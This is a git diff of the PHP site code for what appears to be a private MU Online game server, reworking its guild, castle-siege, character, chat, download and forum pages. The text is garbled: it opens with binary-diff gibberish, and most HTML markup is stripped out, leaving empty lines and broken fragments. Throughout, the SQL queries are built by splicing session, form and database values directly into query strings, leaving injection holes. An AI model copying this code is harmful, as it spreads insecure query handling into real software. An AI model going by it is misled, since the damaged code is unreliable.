zdEaR0elVlFI*ik2XGdRG1R#9zWow6$11ql0jwai_IhOu=^Y!zy)$yUr@ABM&>k+LUwUYGflYZ_T0RXvmZ0*2t+#W;#A7xXB%|Z#YUwtOswF-Oy`1K zH7fZa$@9fg^}9>WZo0GV=Zd)Ks%s@}1`?h1*tV#uw--Z*H7iPA(43vgll`{@XgRyh F{{f1=FOdKM diff --git a/menu.php b/menu.php deleted file mode 100644 index 065c0bc..0000000 --- a/menu.php +++ /dev/null @@ -1,26 +0,0 @@ - \ No newline at end of file diff --git a/modules/alliance.php b/modules/alliance.php index 9c91f35..e8eb7b1 100644 --- a/modules/alliance.php +++ b/modules/alliance.php @@ -1,50 +1,69 @@ -',false); return false\"> $guildm[0]"; ?> - - - - - - - - - -
:
:
+ + + + + + + + + +
: + + + + +
: + +
- + -
-

 
- - - - - - - +
+ +
-',false); return false\">$guildm[0]"; - $members = mssql_num_rows( mssql_query("SELECT name FROM Guildmember WHERE G_Name='$alliance_row[0]'") ); +
#
+ + + + + + + + + + - - - - - "; -} -?> -
#
$rank$alliance_row[0] $guild_mark$alliance_row[1]$members
-
\ No newline at end of file + echo << + {$rank} + + {$alliance_row[0]} + + + + + {$alliance_row[1]} + {$alliance_row[3]} + +HTML; + $rank++; + } + ?> + + \ No newline at end of file diff --git a/modules/blocked.php b/modules/blocked.php index 184bdd7..23112c2 100644 --- a/modules/blocked.php +++ b/modules/blocked.php @@ -1,43 +1,55 @@ -

 
+
+ +
- - - - - - - - - +
#
+ + + + + + + + + -"; -} + + '; + } -for($i=0;$i < $row_num;++$i) { - $row = mssql_fetch_row($result); - $rank = $i+1; + $language = array( + 'show_now' => mmw_lang_show_now + ); - if($row[1] > 0) {$date = date("d M Y, H:i",$row[1]);} - else {$date = mmw_lang_for_ever;} + $rank = 1; + while ($row = mssql_fetch_row($result)) { + $date = !empty($row[1]) + ? date('d M Y, H:i', $row[1]) + : mmw_lang_for_ever; - if($row[2] > 0) {$to = date("d M Y, H:i",$row[1]+$row[2]);} - else {$to = mmw_lang_never;} + $to = !empty($row[2]) + ? date('d M Y, H:i', $row[1] + $row[2]) + : mmw_lang_never; - if($row[3] != '' && $row[3] != '0') {$by_who = "$row[3]";} - else {$by_who = "Unknow";} + $by_who = !empty($row[3]) + ? '' . $row[3] . '' + : 'unknown'; -echo " - - - - - - - "; -} -?> + echo << + + + + + + + +HTML; + $rank++; + } + ?> +
#
".mmw_lang_no_blocked_accounts."
' . mmw_lang_no_blocked_accounts . '
$rank$row[0]$date$to$by_who".mmw_lang_show_now."
{$rank}{$row[0]}{$date}{$to}{$by_who}{$language['show_now']}
\ No newline at end of file diff --git a/modules/castlesiege.php b/modules/castlesiege.php index e4ef7d6..bd3b90b 100644 --- a/modules/castlesiege.php +++ b/modules/castlesiege.php @@ -1,155 +1,213 @@ -'.mmw_lang_is_opened.'';} - else {$cs_status = ''.mmw_lang_is_closed.'';} +$row[0]"; - $cs_guild_master = "$cs_guild_row[0]"; - $logo = urlencode(bin2hex($cs_guild_row[1])); - $cs_guild_mark = ""; - } - else { - $cs_guild = "None"; - $cs_guild_master = "None"; - } +if ($mmw['castle_siege']['switch']) { + if ($_ENV['mmw_cache']['castle_siege']['timeout'] + $mmw['server_timeout'] < time()) { + $_ENV['mmw_cache']['castle_siege']['status'] = false; + if ($check = @fsockopen($mmw['castle_siege']['ip'], $mmw['castle_siege']['port'], $error_code, $error_message, 0.3)) { + fclose($check); + $_ENV['mmw_cache']['castle_siege']['status'] = true; + } + $_ENV['mmw_cache']['castle_siege']['timeout'] = time(); + } - if($mmw[mix_cs_memb_reset]=="yes") { - if($mmw[max_zen_cs_reset]>$row[3]) {$edited_zen_cs = $row[3];} - else{$edited_zen_cs = $mmw[max_zen_cs_reset];} - $cs_memb_reset_zen = ( substr($mmw['resetmoney'], 0, -6) * ceil( substr($edited_zen_cs, 0, -6) / $mmw[num_for_mix_cs_reset] ) ) / 100; - $cs_memb_reset_proc = ceil( substr($edited_zen_cs, 0, -6) / $mmw[num_for_mix_cs_reset] ); - } + $cs_status = ($_ENV['mmw_cache']['castle_siege']['status']) + ? '' . mmw_lang_is_opened . '' + : '' . mmw_lang_is_closed . ''; - // LoaD MuCastleData.dat - server_file($mmw[mu_castle_data],1,1); - $mucastledata = $_SESSION[server_file][$mmw[mu_castle_data]][1]; + /** + * Load MuCastleData.dat + * @noinspection PhpUndefinedFunctionInspection + */ + $muCastleData = mu_server_file($mmw['castle_siege']['data'], true)[1]; - function week2str($num) { - if($num[1]==0) {$result=mmw_lang_week_mon;} - if($num[1]==1) {$result=mmw_lang_week_tue;} - if($num[1]==2) {$result=mmw_lang_week_wed;} - if($num[1]==3) {$result=mmw_lang_week_thu;} - if($num[1]==4) {$result=mmw_lang_week_fri;} - if($num[1]==5) {$result=mmw_lang_week_sat;} - if($num[1]==6) {$result=mmw_lang_week_sun;} - echo $result; - } - function array2time($array) { - if($array[2]<9 && strlen($array[2])<2) {$array[2] = "0$array[2]";} - if($array[3]<9 && strlen($array[3])<2) {$array[3] = "0$array[3]";} - echo "$array[2]:$array[3]"; - } - function array2sec($array) { - $result = ($array[1]*24*60*60) + ($array[2]*60*60) + ($array[3]*60); - return $result; - } + $query = mssql_query("SELECT + mcd.OWNER_GUILD, + mcd.SIEGE_START_DATE, + mcd.SIEGE_END_DATE, + mcd.MONEY, + mcd.TAX_HUNT_ZONE, + g.G_Master, + g.G_Mark + FROM dbo.MuCastle_DATA AS mcd + LEFT JOIN dbo.Guild AS g ON g.G_Name = mcd.OWNER_GUILD + "); + $row = mssql_fetch_row($query); + if (!empty($row[0])) { + $cs_guild = '' . $row[0] . ''; + $cs_guild_master = '' . $row[5] . ''; + $logo = urlencode(bin2hex($row[6])); + $cs_guild_mark = ''; + } else { + $cs_guild = 'None'; + $cs_guild_master = 'None'; + } - $now_time = time(); - $cs_start = time_format($row[1],"d M Y"); - $cs_end = time_format($row[2],"d M Y"); - if(strtotime($cs_start)+array2sec($mucastledata[2]) > $now_time) {$cs_period = mmw_lang_register_for_attack;} - elseif(strtotime($cs_start)+array2sec($mucastledata[4]) > $now_time) {$cs_period = mmw_lang_sing_of_lord;} - elseif(strtotime($cs_start)+array2sec($mucastledata[6]) > $now_time) {$cs_period = mmw_lang_information;} - elseif(strtotime($cs_start)+array2sec($mucastledata[7]) > $now_time) {$cs_period = mmw_lang_ready_for_attack;} - elseif(strtotime($cs_start)+array2sec($mucastledata[8]) > $now_time) {$cs_period = mmw_lang_attack_castle_siege;} - else {$cs_period = 'Truce';} -?> + if ($mmw['cs_memb_reset_discount']) { + $edited_zen_cs = ($mmw['cs_memb_reset_must_have_zen'] > $row[3]) + ? $row[3] + : $mmw['cs_memb_reset_must_have_zen']; + $cs_zen_kk = substr($edited_zen_cs, 0, -6); + $cs_memb_reset_proc = ceil($cs_zen_kk / $mmw['cs_memb_reset_max_percent']); + $cs_memb_reset_zen = (substr($mmw['reset_money'], 0, -6) * $cs_memb_reset_proc) / 100; + } - - + +
+ function array2time($array) + { + if (strlen($array[2]) < 2) { + $array[2] = '0' . $array[2]; + } + if (strlen($array[3]) < 2) { + $array[3] = '0' . $array[3]; + } + echo $array[2] . ':' . $array[3]; + } - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Castle Siege:
:
:
:-% (kk Zen)
: Zen
:
:
:
+ function dayArray2sec($date, $array) + { + return strtotime($date) + ($array[1] * 24 * 60 * 60) + ($array[2] * 60 * 60) + ($array[3] * 60); + } - + $now_time = time(); + $cs_start = time_format($row[1], 'd M Y'); + if (dayArray2sec($cs_start, $muCastleData[2]) > $now_time) { + $cs_period = mmw_lang_register_for_attack; + } elseif (dayArray2sec($cs_start, $muCastleData[4]) > $now_time) { + $cs_period = mmw_lang_sing_of_lord; + } elseif (dayArray2sec($cs_start, $muCastleData[6]) > $now_time) { + $cs_period = mmw_lang_information; + } elseif (dayArray2sec($cs_start, $muCastleData[7]) > $now_time) { + $cs_period = mmw_lang_ready_for_attack; + } elseif (dayArray2sec($cs_start, $muCastleData[8]) > $now_time) { + $cs_period = mmw_lang_attack_castle_siege; + } else { + $cs_period = 'Truce'; + } + ?> - - - - - - - - - - - - - - - - - - - - - -
:. - .
:. - .
:. - .
:. - .
:. - .
+ + + - -
- + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Castle Siege:
:
:
:-% (kk Zen)
: Zen
:
:
:
- - -0) { - for ($i=0; $i<$cs_reg_num; ++$i) { - $cs_row_reg = mssql_fetch_row($cs_reg_query); - echo ""; - } -} -else {echo "";}?> -
$cs_row_reg[0]. $cs_row_reg[1] (Sing of Lord: $cs_row_reg[2])
".mmw_lang_no_guilds."
+ + + + + + + + + + + + + + + + + + + + + + + +
: + . + - + . +
: + . + - + . +
: + . + - + . +
: + . + - + . +
: + . + - + . +
+ + + + + + + + + + '; + echo << + + +HTML; + } + } else { + echo ''; + } ?> +
' . $cs_row_reg[0] . '. ' . $cs_row_reg[1] . ' (Sing of Lord: ' . $cs_row_reg[2] . ')
+ {$cs_row_reg[0]}. {$cs_row_reg[1]} (Sing of Lord: {$cs_row_reg[2]}) +
' . mmw_lang_no_guilds . '
-
-" title="Castle Siege"> -
- +
+ Castle Siege +
+ ' . mmw_lang_is_closed . ''; } -else { - echo '
' . mmw_lang_is_closed . '
'; -}?> \ No newline at end of file diff --git a/modules/character.php b/modules/character.php index 477a910..5f8c42f 100644 --- a/modules/character.php +++ b/modules/character.php @@ -1,111 +1,191 @@ - Supported by MyMuWeb' . $die_end; +} else { + if (isset($_POST['send_zen'])) { + $zen = intval($_POST['zen']); + $zenWithFee = $zen + $mmw['service_send_zen']; -$profile_sql = mssql_query("Select hide_profile from memb_info where memb___id='$info[7]'"); -$profile_row = mssql_fetch_row($profile_sql); -if($profile_row[0] == '0'){$profile = "".mmw_lang_view_profile."
";} + $result = mssql_query("SELECT extMoney FROM dbo.warehouse WHERE AccountID='{$_SESSION['user']}'"); + $from = mssql_fetch_row($result); -$status_sql = mssql_query("select connectstat,CONNECTTM from MEMB_STAT where memb___id='$info[7]'"); -$status_row = mssql_fetch_row($status_sql); -$statusdc_reults = mssql_query("Select GameIDC from AccountCharacter where Id='$info[7]'"); -$statusdc = mssql_fetch_row($statusdc_reults); -if($statusdc[0]==$info[0] && $status_row[0]==1){$login_status=''.mmw_lang_acc_online.'';} -else{$login_status=''.mmw_lang_acc_offline.'';} + if (!preg_match('/^\d+$/', $_POST['zen'])) { + echo $die_start . mmw_lang_zen_must_be_number . $die_end; + } elseif ($info[7] === $_SESSION['user']) { + echo $die_start . mmw_lang_zen_cant_move . $die_end; + } elseif ($zen < $mmw['min_send_zen']) { + echo $die_start . zen_format($mmw['min_send_zen']) . ' ' . mmw_lang_minimum_zen_can_send . ' ' . $from[0] . $die_end; + } elseif ($from[0] - $zenWithFee < 0) { + echo $die_start . mmw_lang_no_zen_for_send_zen . ' ' . zen_format($mmw['service_send_zen']) . '!' . $die_end; + } else { + mssql_query("UPDATE dbo.warehouse SET [extMoney]=[extMoney]-{$zenWithFee} WHERE AccountID='{$_SESSION['user']}'"); + mssql_query("UPDATE dbo.warehouse SET [extMoney]=[extMoney]+{$zen} WHERE AccountID='{$info[7]}'"); + guard_mmw_mess($characterName, 'It was sent to you in Extra Ware House: ' . zen_format($zen) . ', From: ' . $_SESSION['character'] . '.'); + writelog('send_zen', 'Char: ' . $_SESSION['character'] . ' Has Been Send Zen: ' . $zen . ', To: ' . $characterName . ' (Start:' . $from[0] . ',Merge:' . $zenWithFee . ')'); + echo $okey_start . $zen . ' ' . mmw_lang_zen_sent . $okey_end; + } + echo $rowbr; + } -$guildm_results = mssql_query("Select G_name from GuildMember where name='$info[0]'"); -$guildm = mssql_fetch_row($guildm_results); -if($guildm[0]==NULL || $guildm[0]==" "){$guild_end = mmw_lang_no_guild;} -else { -$guild_results = mssql_query("Select G_name,g_mark from Guild where g_name='$guildm[0]'"); -$guild_row = mssql_fetch_row($guild_results); -$logo = urlencode(bin2hex($guild_row[1])); -$guild_end = " $guildm[0]"; -} + $account_result = mssql_query("SELECT mi.hide_profile,ms.ConnectStat,ms.ConnectTM,ac.GameIDC + FROM dbo.MEMB_INFO AS mi + LEFT JOIN dbo.MEMB_STAT AS ms ON ms.memb___id = mi.memb___id + LEFT JOIN dbo.AccountCharacter AS ac ON ac.Id = mi.memb___id + WHERE mi.memb___id='{$info[7]}'"); + $account_row = mssql_fetch_row($account_result); -if($info[12]==NULL || $info[12]==" "){$info[12] = mmw_lang_no_kills;} + $profile_link = ''; + if (empty($account_row[0])) { + $profile_link = '' . mmw_lang_view_profile . '
'; + } -if(isset($_SESSION['char_set']) && $_SESSION['char_set']!=' ' && isset($_SESSION['user'])) {$send_zen = "

".mmw_lang_service_fee.': '.zen_format($mmw[service_send_zen]).' Zen
';} -elseif(isset($_SESSION['pass']) && isset($_SESSION['user'])) {$send_zen = mmw_lang_cant_add_no_char;} -else {$send_zen = mmw_lang_guest_must_be_logged_on;} -?> + $login_status = ($account_row[1] && $account_row[3] === $info[0]) + ? '' . mmw_lang_acc_online . '' + : '' . mmw_lang_acc_offline . ''; - - - - - -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 0){?> - - - - - - - - - - - - - - - - - - - + $guild_result = mssql_query("SELECT gm.G_Name,g.G_Mark + FROM dbo.GuildMember AS gm + JOIN dbo.Guild AS g ON g.G_Name = gm.G_Name + WHERE gm.Name='{$info[0]}'"); + $guild_row = mssql_fetch_row($guild_result); + if (empty($guild_row[0])) { + $guildData = mmw_lang_no_guild; + } else { + $guildMark = urlencode(bin2hex($guild_row[1])); + $guildData = << +{$guild_row[0]} +HTML; + } + + if (empty($info[12])) { + $info[12] = mmw_lang_no_kills; + } + + $send_zen = mmw_lang_guest_must_be_logged_on; + if (!empty($_SESSION['character'])) { + $language = array( + 'send' => mmw_lang_send, + 'service_fee' => mmw_lang_service_fee + ); + $serviceFee = zen_format($mmw['service_send_zen']); + $send_zen = << + +
+ {$language['service_fee']}: {$serviceFee} Zen + +HTML; + } elseif (isset($_SESSION['user'])) { + $send_zen = mmw_lang_cant_add_no_char; + } + ?> + +
:
:
:
:
:
:
Strength:
Agility:
Vitality:
Energy:
Command:
: ()
:
:
:
+ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
:
:
:
:
:
:
:
Strength:
Agility:
Vitality:
Energy:
Command:
: ()
:
:
:
+
+ <?php echo char_class($info[1], 'full'); ?> +

+
+ +
+ +
+ +
-
- ";?>

-
- -
-
\ No newline at end of file + $date) { - echo ''; - } - elseif($message != $_SESSION[chat_message]) { - mssql_query("INSERT INTO MMW_chatbox (f_char,f_message,f_date) VALUES ('$char','$message','$date')"); - $_SESSION[chat_message] = $message; - $_SESSION[chat_date] = $date; - } - else { - jump('?op=chat'); - } + if ($timeout > $date) { + echo ''; + } elseif ($message !== $_SESSION['chat_message']) { + mssql_query("INSERT INTO dbo.MMW_chatbox (f_char,f_message,f_date) VALUES ('{$_SESSION['character']}','{$message}','{$date}')"); + $_SESSION['chat_message'] = $message; + $_SESSION['chat_date'] = $date; + } else { + jump('?op=chat'); + } } ?> - - - - - - - - -
- -
- -
- - - - - -

-'; -}?> -
\ No newline at end of file + +
+ +
+ + + + + +

+ + ' . mmw_lang_guest_must_be_logged_on . '
[ ' . mmw_lang_register . ' | ' . mmw_lang_login . ' ]
'; + } ?> + \ No newline at end of file diff --git a/modules/checkacc.php b/modules/checkacc.php index 026fbe7..0ceaef0 100644 --- a/modules/checkacc.php +++ b/modules/checkacc.php @@ -1,38 +1,51 @@ - ($row[1] + $row[2])) { + echo $okey_start . mmw_lang_account_must_be_logged_on_for_unblock . $okey_end; + } elseif ($row[0] == 1) { + echo $die_start . mmw_lang_account . ' ' . $account . ' ' . mmw_lang_is_blocked; + + if (!empty($row[1])) { + echo '
' . mmw_lang_date . ': ' . date('H:i:s, d.m.Y', $row[1]); + } + + if (!empty($row[1]) && !empty($row[2])) { + if ($row[2] < 60) { + $need_wait = $row[2] . ' s.'; + } elseif ($row[2] < 3600) { + $need_wait = ceil($row[2] / 60) . ' m.'; + } elseif ($row[2] < 86400) { + $need_wait = ceil($row[2] / 3600) . ' h.'; + } else { + $need_wait = ceil($row[2] / 86400) . ' d.'; + } - $time_need = ($row[1] + $row[2]) - time(); - if($row[0]==1 && $time_need<=0 && $row[1]>0 && $row[2]!=0) { - echo $okey_start . mmw_lang_account_must_be_logged_on_for_unblock . $okey_end; - } - elseif($row[0]==1) { - echo $die_start . mmw_lang_account." $login ".mmw_lang_is_blocked; - if($row[1] != 0) {echo "
".mmw_lang_date.": ".date("H:i:s, d.m.Y", $row[1]);} - echo "
".mmw_lang_blocked_by.": $row[3]"; - if($row[1]!=0 && $row[2]!=0) { + echo '
' . mmw_lang_unblocked . ': ' . date('H:i:s, d.m.Y', $row[1] + $row[2]); + echo '
' . mmw_lang_need_wait . ': ' . $need_wait; + } - if($time_need<60) {$need_wait = $time_need . ' s.';} - elseif($time_need<3600) {$need_wait = ceil($time_need / 60) . ' m.';} - elseif($time_need<86400) {$need_wait = ceil($time_need / 3600) . ' h.';} - else {$need_wait = ceil($time_need / 86400) . ' d.';} + if (!empty($row[3])) { + echo '
' . mmw_lang_blocked_by . ': ' . $row[3]; + } - echo "
".mmw_lang_unblocked.": " . date("H:i:s, d.m.Y", $row[1] + $row[2]); - echo "
".mmw_lang_need_wait.": $need_wait"; - } - if(!empty($row[4]) && $row[4]!=' ') {echo "
".mmw_lang_reason.": $row[4]";} - echo $die_end; - } - else { - echo $die_start . mmw_lang_account_not_blocked_or_cant_find . $die_end; - } + if (!empty($row[4])) { + echo '
' . mmw_lang_reason . ': ' . $row[4]; + } + echo $die_end; + } else { + echo $die_start . mmw_lang_account_not_blocked_or_cant_find . $die_end; + } } -?> \ No newline at end of file diff --git a/modules/downloads.php b/modules/downloads.php index 25b3809..a605da1 100644 --- a/modules/downloads.php +++ b/modules/downloads.php @@ -1,15 +1,34 @@ - mmw_lang_date, + 'download' => mmw_lang_download, + 'from_here' => mmw_lang_from_here, + 'description' => mmw_lang_description, + 'file_size' => mmw_lang_file_size, +); -for($i=0;$i < mssql_num_rows($get_links);++$i) { -$row = mssql_fetch_row($get_links); +$query = mssql_query("SELECT l_name,l_address,l_description,l_size,l_date FROM dbo.MMW_Links ORDER BY l_date DESC"); +while ($row = mssql_fetch_row($query)) { + $date = date('Y-m-d H:i:s', $row[4]); -echo " - - -
$row[0]".mmw_lang_date.": ".date("Y-m-d H:i:s",$row[4])."
".mmw_lang_download." $row[0] ".mmw_lang_from_here."
".mmw_lang_description.": $row[2]
".mmw_lang_file_size.": $row[3]
$rowbr"; - } -?> + echo << + + {$row[0]} + {$language['date']}: {$date} + + + + {$language['download']} {$row[0]} {$language['from_here']}
+ {$language['description']}: {$row[2]}
{$language['file_size']}: {$row[3]} + + + + {$rowbr} +HTML; +} diff --git a/modules/forum.php b/modules/forum.php index 3f2a1ec..60369f8 100644 --- a/modules/forum.php +++ b/modules/forum.php @@ -1,112 +1,233 @@ -'.mmw_lang_new_topic.'';} -elseif(isset($_SESSION['pass']) && isset($_SESSION['user'])) {$new_topic = mmw_lang_cant_add_no_char;} -else {$new_topic = mmw_lang_guest_must_be_logged_on;} -?> -
[ ]
- - - - - - - - - - $value) { - $result = mssql_query("SELECT count(f_id),sum(f_comments) FROM MMW_forum WHERE f_catalog='$key'"); - $row = mssql_fetch_row($result); - if(empty($row[1])) {$row[1] = 0;} - - $forum_img = 'c_nonew.gif'; - if($row[0] > 0) { - $post_row = mssql_fetch_row( mssql_query("SELECT TOP 1 f_id,f_title,f_date,f_lastchar FROM MMW_forum WHERE f_catalog='$key' ORDER BY f_date DESC") ); - $lastchar_row = mssql_fetch_row( mssql_query("Select CtlCode From Character WHERE name='$post_row[3]'") ); - $last_forum = "".date("D, d.m.Y, H:i", $post_row[2])."
"; - $last_forum .= mmw_lang_topic.": $post_row[1]
"; - $last_forum .= mmw_lang_message_from.": $post_row[3]"; - if($post_row[2]+$mmw[forum_of_new] > time()) {$forum_img = 'c_new.gif';} - } - else { - $last_forum = mmw_lang_no_message; - } -?> - - - - - - - - -

-' . $date . '
' + . mmw_lang_topic . ': ' . $postName . '
' + . mmw_lang_message_from . ': ' . $characterName . ''; +} + +function drawOptionButton($id, $type, $label, $action = '') +{ + $icon = default_img($type . '.png'); + return << + + {$type} + +HTML; +} + +if (isset($_POST['f_id_delete'])) { + $f_id = clean_var(stripslashes($_POST['f_id_delete'])); + $result = mssql_query("SELECT f_char FROM dbo.MMW_forum WHERE f_id='{$f_id}'"); + $row = mssql_fetch_row($result); + + if (empty($f_id)) { + echo $die_start . mmw_lang_left_blank . $die_end; + } elseif ($row[0] === $_SESSION['character'] || $mmw['status_rules'][$_SESSION['mmw_status']]['forum_delete']) { + mssql_query("DELETE FROM dbo.MMW_forum WHERE f_id='{$f_id}'"); + mssql_query("DELETE FROM dbo.MMW_comment WHERE c_id_code='{$f_id}'"); + echo $okey_start . mmw_lang_topic_deleted . $okey_end; + } else { + echo $die_start . mmw_lang_cant_or_alread_delete . $die_end; + } +} + +if (isset($_POST['f_id_close']) || isset($_POST['f_id_open'])) { + $f_id = clean_var(stripslashes(isset($_POST['f_id_close']) ? $_POST['f_id_close'] : $_POST['f_id_open'])); + $f_status = $_POST['f_id_close'] ? 1 : 0; + + if (empty($f_id)) { + echo $die_start . mmw_lang_left_blank . $die_end; + } elseif ($mmw['status_rules'][$_SESSION['mmw_status']]['forum_status']) { + mssql_query("UPDATE dbo.MMW_forum SET f_status='{$f_status}' where f_id='{$f_id}'"); + echo $okey_start . mmw_lang_topic_status . $okey_end; + } else { + echo $die_start . mmw_lang_cant_or_alread_delete . $die_end; + } +} + +if (isset($_SESSION['user']) && !empty($_SESSION['character'])) { + $new_topic = '' . mmw_lang_new_topic . ''; +} elseif (isset($_SESSION['user'])) { + $new_topic = mmw_lang_cant_add_no_char; +} else { + $new_topic = mmw_lang_guest_must_be_logged_on; +} + +$language = array( + 'new_message' => mmw_lang_new_message +); + +echo << + [ {$language['new_message']} • {$new_topic} ] + +HTML; + +if (empty($_GET['c'])) { + ?> + + + + + + + + + + + $value) { + $result = mssql_query("SELECT count(f_id), sum(f_comments) FROM dbo.MMW_forum WHERE f_catalog='{$key}'"); + $row = mssql_fetch_row($result); + + $forum_img = 'c_nonew.gif'; + $last_forum = mmw_lang_no_message; + + if (!empty($row[0])) { + $post_row = mssql_fetch_row(mssql_query("SELECT TOP 1 + f.f_id, + f.f_title, + f.f_date, + f.f_lastchar, + c.CtlCode + FROM dbo.MMW_forum AS f + LEFT JOIN dbo.Character AS c ON c.Name COLLATE DATABASE_DEFAULT = f.f_lastchar COLLATE DATABASE_DEFAULT + WHERE f.f_catalog = {$key} + ORDER BY f.f_date DESC")); + if ($post_row[2] > strtotime('-' . $mmw['forum_of_new'])) { + $forum_img = 'c_new.gif'; + } + $last_forum = drawLastComment($post_row[0], $post_row[1], $post_row[2], $post_row[3], $post_row[4]); + } + + if (empty($row[1])) { + $row[1] = 0; + } + ?> + + + + + + + + +
+
+ +
+ " . strtotime('-' . $mmw['forum_of_new']) + : "f.f_catalog = " . intval($_GET['c']); + ?> + + + + + + + + + + + + = $mmw['forum_topic_hot'] ? 'hot' : 'norm') + . '_' + . ($row[4] > strtotime('-' . $mmw['forum_of_new']) ? 'new' : 'nonew') + . '.gif'; + if ($row[6] == 1) { + $topic_img = 'f_closed_nonew.gif'; + } + + if (empty($row[7])) { + $row[7] = 0; + } + if (empty($row[8])) { + $row[8] = 0; + } + + $option = ''; + if ($mmw['status_rules'][$_SESSION['mmw_status']]['forum_delete'] || $_SESSION['character'] === $row[1]) { + $option .= drawOptionButton($row[0], 'delete', mmw_lang_delete); + } + if ($mmw['status_rules'][$_SESSION['mmw_status']]['forum_status']) { + $option .= !empty($row[6]) + ? drawOptionButton($row[0], 'open', mmw_lang_open) + : drawOptionButton($row[0], 'close', mmw_lang_close); + } + ?> + + + + + + + + + '; + } + ?> +
+ + + + + +
' . mmw_lang_no_topics_in_forum . '
+ '".(time()-$mmw[forum_of_new])."'";} - else {$sort = "f_catalog='".preg_replace("/[^0-9]/",'',$_GET[c])."'";} -?> - - - - - - - - - -".date("D, d.m.Y, H:i", $row[4])."
"; - $last_forum .= mmw_lang_message_from.": $row[5]"; - - if($row[7]>=$mmw[forum_topic_hot]) {$topic_img = 'f_hot_nonew.gif';} - if($row[4]+$mmw[forum_of_new] > time()) {$topic_img = 'f_norm_new.gif';} - if($row[4]+$mmw[forum_of_new] > time() && $row[7]>=$mmw[forum_topic_hot]) {$topic_img = 'f_hot_new.gif';} - if($row[6] == 1) {$topic_img = 'f_closed_nonew.gif';} - - $option = ''; - if($mmw[status_rules][$_SESSION[mmw_status]][forum_delete]==1 || $_SESSION['char_set'] == $row[1]) - {$option.=" ";} - if($mmw[status_rules][$_SESSION[mmw_status]][forum_status] == 1 && $row[6] == 1) - {$option.=" ";} - if($mmw[status_rules][$_SESSION[mmw_status]][forum_status] == 1 && $row[6] == 0) - {$option.=" ";} -?> - - - - - - - - -";} -?> -
".mmw_lang_no_topics_in_forum."
- \ No newline at end of file +echo $rowbr . mmw_lang_total_topic . ': ' . $totalRow[0] . '   ' . mmw_lang_total_comment . ': ' . $totalRow[1]; diff --git a/modules/forum_full.php b/modules/forum_full.php index 40cb631..60c9d44 100644 --- a/modules/forum_full.php +++ b/modules/forum_full.php @@ -1,96 +1,183 @@ -'.mmw_lang_new_topic.'';} -elseif(isset($_SESSION['pass']) && isset($_SESSION['user'])) {$new_topic = mmw_lang_cant_add_no_char;} -else {$new_topic = mmw_lang_guest_must_be_logged_on;} -?> -
[ ]
- $value) { - if($value[2]==0 || $mmw[status_rules][$_SESSION[mmw_status]][forum_add]==1) - {$forum_catalog .= "";} - } -?> -
- - - - - - - - - - - - - - - - - - - - -
:
:'>
:[br] - [hr] - [b][/b] - [i][/i] - [u][/u] - [s][/s] - [o][/o]
[sup][/sup] - [sub][/sub] - - [c].::.[/c] - [l]::..[/l] - [r]..::[/r]
[color=#][/color] - [size=#][/size] - [url=#][/url]
[img]#[/img] - [video]YouTube.com #[/video] -
:
+ + + {$type}
-' . mmw_lang_new_topic . ''; +} elseif (isset($_SESSION['user'])) { + $new_topic = mmw_lang_cant_add_no_char; +} else { + $new_topic = mmw_lang_guest_must_be_logged_on; +} - if(!empty($row_acc[2]) && $row_acc[2]!=' ') {$avatar_c_e="$row[1]";} - else {$avatar_c_e="No Àâàòîð";} +$language = array( + 'new_message' => mmw_lang_new_message +); - $option = ''; - if($mmw[status_rules][$_SESSION[mmw_status]][forum_delete]==1 || $_SESSION['char_set'] == $row[1]) - {$option.="
";} - if($mmw[status_rules][$_SESSION[mmw_status]][forum_status] == 1 && $row[6] == 1) - {$option.="
";} - if($mmw[status_rules][$_SESSION[mmw_status]][forum_status] == 1 && $row[6] == 0) - {$option.="
";} +echo << + [ {$language['new_message']} • {$new_topic} ] + +HTML; - if($row[8]>=$mmw[forum_topic_hot]) {$topic_img = 'f_hot_nonew.gif';} - if($row[4]+$mmw[forum_of_new] > time()) {$topic_img = 'f_norm_new.gif';} - if($row[4]+$mmw[forum_of_new] > time() && $row[8]>=$mmw[forum_topic_hot]) {$topic_img = 'f_hot_new.gif';} - if($row[6] == 1) {$topic_img = 'f_closed_nonew.gif';} -?> - - - - - -

:
()
- 0) {$lastcomment_row = mssql_fetch_row($lastcomment_result); $comment_info = "[f_date]='$lastcomment_row[1]',[f_lastchar]='$lastcomment_row[0]',";} - else {$comment_info = "[f_date]='$row[7]',[f_lastchar]='$row[1]',";} - if($row[8] < 1) {$new_views = 1;} else {$new_views = "f_views+1";} - mssql_query("UPDATE MMW_forum SET $comment_info [f_views]=$new_views,[f_comments]=$comm_num WHERE f_id='$c_id_code'"); - } -} -elseif(isset($_SESSION['pass']) && isset($_SESSION['user'])) { - echo "$die_start Sorry, you can't add comment, need Character! $die_end"; -} -else { - echo "$die_start Error! by Vaflan ;) $die_end"; -} -?> \ No newline at end of file + $forum_catalog = ''; + foreach ($mmw['forum_catalog'] as $key => $value) { + if ($value[2] == 0 || $mmw['status_rules'][$_SESSION['mmw_status']]['forum_add']) { + $forum_catalog .= ''; + } + } + ?> +
+ + + + + + + + + + + + + + + + + + + + +
:
: + '> +
: + [br] - [hr] - [b][/b] - [i][/i] - [u][/u] - [s][/s] - + [o][/o]
[sup][/sup] - [sub][/sub] + - + [c].::.[/c] - [l]::..[/l] - [r]..::[/r]
[color=#][/color] - + [size=#][/size] - [url=#][/url]
[img]#[/img] - [video]YouTube.com #[/video] +
:
+ + +
+
+ = $mmw['forum_topic_hot'] ? 'hot' : 'norm') + . '_' + . ($row[4] > strtotime('-' . $mmw['forum_of_new']) ? 'new' : 'nonew') + . '.gif'; + if ($row[6] == 1) { + $topic_img = 'f_closed_nonew.gif'; + } + + $avatar = !empty($row[11]) + ? '' . $row[1] . '' + : 'No avatar'; + $country = country($row[12]); + $gender = gender($row[13]); + + $option = ''; + if ($mmw['status_rules'][$_SESSION['mmw_status']]['forum_delete'] || $_SESSION['character'] === $row[1]) { + $option .= drawOptionButton($row[0], 'delete', mmw_lang_delete, '?op=forum&c=' . $row[9]); + } + if ($mmw['status_rules'][$_SESSION['mmw_status']]['forum_status']) { + $option .= !empty($row[6]) + ? drawOptionButton($row[0], 'open', mmw_lang_open, '?op=forum&c=' . $row[9]) + : drawOptionButton($row[0], 'close', mmw_lang_close, '?op=forum&c=' . $row[9]); + } + ?> + + + + + +
+
+ : + +
+ :
+ :
+
